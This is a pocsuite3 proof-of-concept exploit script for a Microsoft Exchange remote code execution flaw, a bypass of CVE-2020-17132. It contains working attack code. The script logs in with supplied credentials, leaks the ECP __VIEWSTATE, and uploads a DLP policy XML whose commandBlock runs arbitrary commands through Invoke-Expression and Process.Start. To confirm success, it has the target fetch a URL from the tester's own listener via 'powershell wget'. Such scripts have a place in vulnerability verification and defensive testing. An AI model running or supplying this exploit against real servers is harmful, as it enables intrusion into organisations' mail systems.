#!usr/bin/env python3
# -*- coding:utf-8 -*-
import re
import time
import base64
import urllib
import random
import socket
from pocsuite3.modules.httpserver import PHTTPServer
from pocsuite3.lib.core.common import get_host_ip
from pocsuite3.lib.core.interpreter_option import OptString
from pocsuite3.lib.utils import random_str
from pocsuite3.api import (
    Output, POCBase, register_poc, logger, requests,
    get_listener_ip, get_listener_port
)
from collections import OrderedDict
from requests_ntlm2 import HttpNtlmAuth
from http.server import BaseHTTPRequestHandler
class RequestHandler(BaseHTTPRequestHandler):
    http_data = {}
    def do_GET(self):
        path_str = self.path.strip('/').strip()
        if path_str:
            RequestHandler.http_data[path_str] = True
        status = 404
        count = 0
        self.send_response(status)
        self.send_header('Content-Type', 'text/html')
        self.send_header("Content-Length", "{}".format(count))
        self.end_headers()
    def do_POST(self):
        status = 404
        self.send_response(status)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", "0")
        self.end_headers()
    def do_HEAD(self):
        status = 404
        self.send_response(status)
        self.send_header("Content-type", "text/html")
        self.send_header("Content-Length", "0")
        self.end_headers()
    @staticmethod
    def get_target_data(ip_random_str, timeout=10):
        start_time = time.time()
        while time.time() - start_time <= timeout:
            if RequestHandler.http_data.get(ip_random_str):
                return True
header = {'User-Agent': 'Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 4.0.30319.42000)',
          'Content-Type': 'application/x-www-form-urlencoded',
          }
class TestPOC(POCBase):
    vulID = '99101'
    version = '1.0'
    author = ['HunGMz']
    vulDate = '2021-01-12'
    createDate = '2021-01-13'
    updateDate = '2021-01-13'
    references = ['https://www.seebug.org/vuldb/ssvid-99101']
    name = 'Exchange Remote Code Execution (BYPASS Cve-2020-17132)'
    appPowerLink = 'https://www.microsoft.com/en-us/microsoft-365/exchange/email'
    appName = 'exchange'
    appVersion = 'exchange 2013 cu23, exchagne 2016 cu17/cu18, exchange 2019 cu6/cu7'
    vulType = 'Code Execution'
    desc = '''
       The vulnerability occurs due to improper validation of cmdlet arguments. 
    '''
    samples = []
    install_requires = ['requests_ntlm2']
    def _options(self):
        o = OrderedDict()
        o['username'] = OptString(
            '',
            description='这个poc需要用户登录,请输入登录账号',
            require=False
        )
        o['password'] = OptString(
            '',
            description='这个poc需要用户密码,请输入用户密码',
            require=False
        )
        return o
    def normalize_url(self):
        schema = 'https' if self.url.startswith('https') else 'http'
        netloc = self.url.split('://')[-1].split('/')[0].split(':')
        if len(netloc) > 1:
            ip, port = netloc
            if port.endswith('443'):
                schema = 'https'
        else:
            ip = netloc[0]
            port = '80' if schema == 'http' else '443'
        self.ip, self.port = ip, port
        return '{0}://{1}:{2}'.format(schema, ip, port)
    def get_usable_port(self):
        for i in range(100000):
            port = random.randint(10000, 65534)
            s = socket.socket()
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            try:
                s.bind(('', port))
            except Exception:
                continue
            s.close()
            return port
    def log_in(self):
        session = requests.Session()
        data = {
            "destination": "%s/owa" % self.url,
            "flags": "",
            "username": self.username,
            "password": self.password
        }
        session.post("%s/owa/auth.owa" % self.url, data=data, verify=False)
        assert session.cookies.get(name='X-OWA-CANARY'), "(-) couldn't leak the csrf canary!"
        return session
    def leak_viewstate(self, session):
        r = session.get("%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % self.url, verify=False)
        match = re.search("<input type=\"hidden\" name=\"__VIEWSTATE\" id=\"__VIEWSTATE\" value=\"(.*)\" />", r.text)
        assert match, "(-) couldn't leak the __viewstate!"
        return match.group(1)
    def trigger_rce(self, session, viewstate, cmd):
        payload = """<?xml version="1.0" encoding="UTF-8"?>
<dlpPolicyTemplates>
  <dlpPolicyTemplate id="F7C29AEC-A52D-4502-9670-141424A83FAB" mode="Audit" state="Enabled" version="15.0.2.0">
    <contentVersion>4</contentVersion>
    <publisherName>si</publisherName>
    <name>
      <localizedString lang="en"></localizedString>
    </name>
    <description>
      <localizedString lang="en"></localizedString>
    </description>
    <keywords></keywords>
    <ruleParameters></ruleParameters>
    <policyCommands>
      <commandBlock>
        <![CDATA[ & 'Invoke-Expression' '[Diagnostics.Process]::Start("cmd","/c %s")'; New-TransportRule -DlpPolicy ]]>
      </commandBlock>
    </policyCommands>
    <policyCommandsResources></policyCommandsResources>
  </dlpPolicyTemplate>
</dlpPolicyTemplates>""" % cmd
        f = {
            '__VIEWSTATE': (None, viewstate),
            'ctl00$ResultPanePlaceHolder$senderBtn': (None, "ResultPanePlaceHolder_ButtonsPanel_btnNext"),
            'ctl00$ResultPanePlaceHolder$contentContainer$name': (None, random_str(length=8)),
            'ctl00$ResultPanePlaceHolder$contentContainer$upldCtrl': ("dlprce.xml", payload),
        }
        r = session.post("%s/ecp/DLPPolicy/ManagePolicyFromISV.aspx" % self.url, files=f, verify=False)
        assert r.status_code == 200, "(-) failed to trigger rce!"
    def _rce(self, cmd):
        self.url = self.normalize_url()
        self.username = self.get_option('username')
        self.password = self.get_option('password')
        session = self.log_in()
        logger.debug("(+) logged in as %s" % self.username)
        viewstate = self.leak_viewstate(session)
        logger.debug("(+) found __viewstate: %s" % viewstate)
        self.trigger_rce(session, viewstate, cmd)
    def _verify(self):
        # start local http server, used to receive curl rquests in verify.
        http_port = self.get_usable_port()
        httpd = PHTTPServer(bind_port=http_port, requestHandler=RequestHandler)
        httpd.start(daemon=True)
        result = {}
        ip_random_str = random_str(20)
        cmd = "powershell wget  http://%s:%d/%s" % (get_host_ip(), http_port, ip_random_str)
        self._rce(cmd)
        if RequestHandler.get_target_data(ip_random_str):
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
        return self.parse_output(result)
    def parse_output(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('target is not vulnerable')
        return output
register_poc(TestPOC)
                              
                        
                    
                
              
                
             
          
          
暂无评论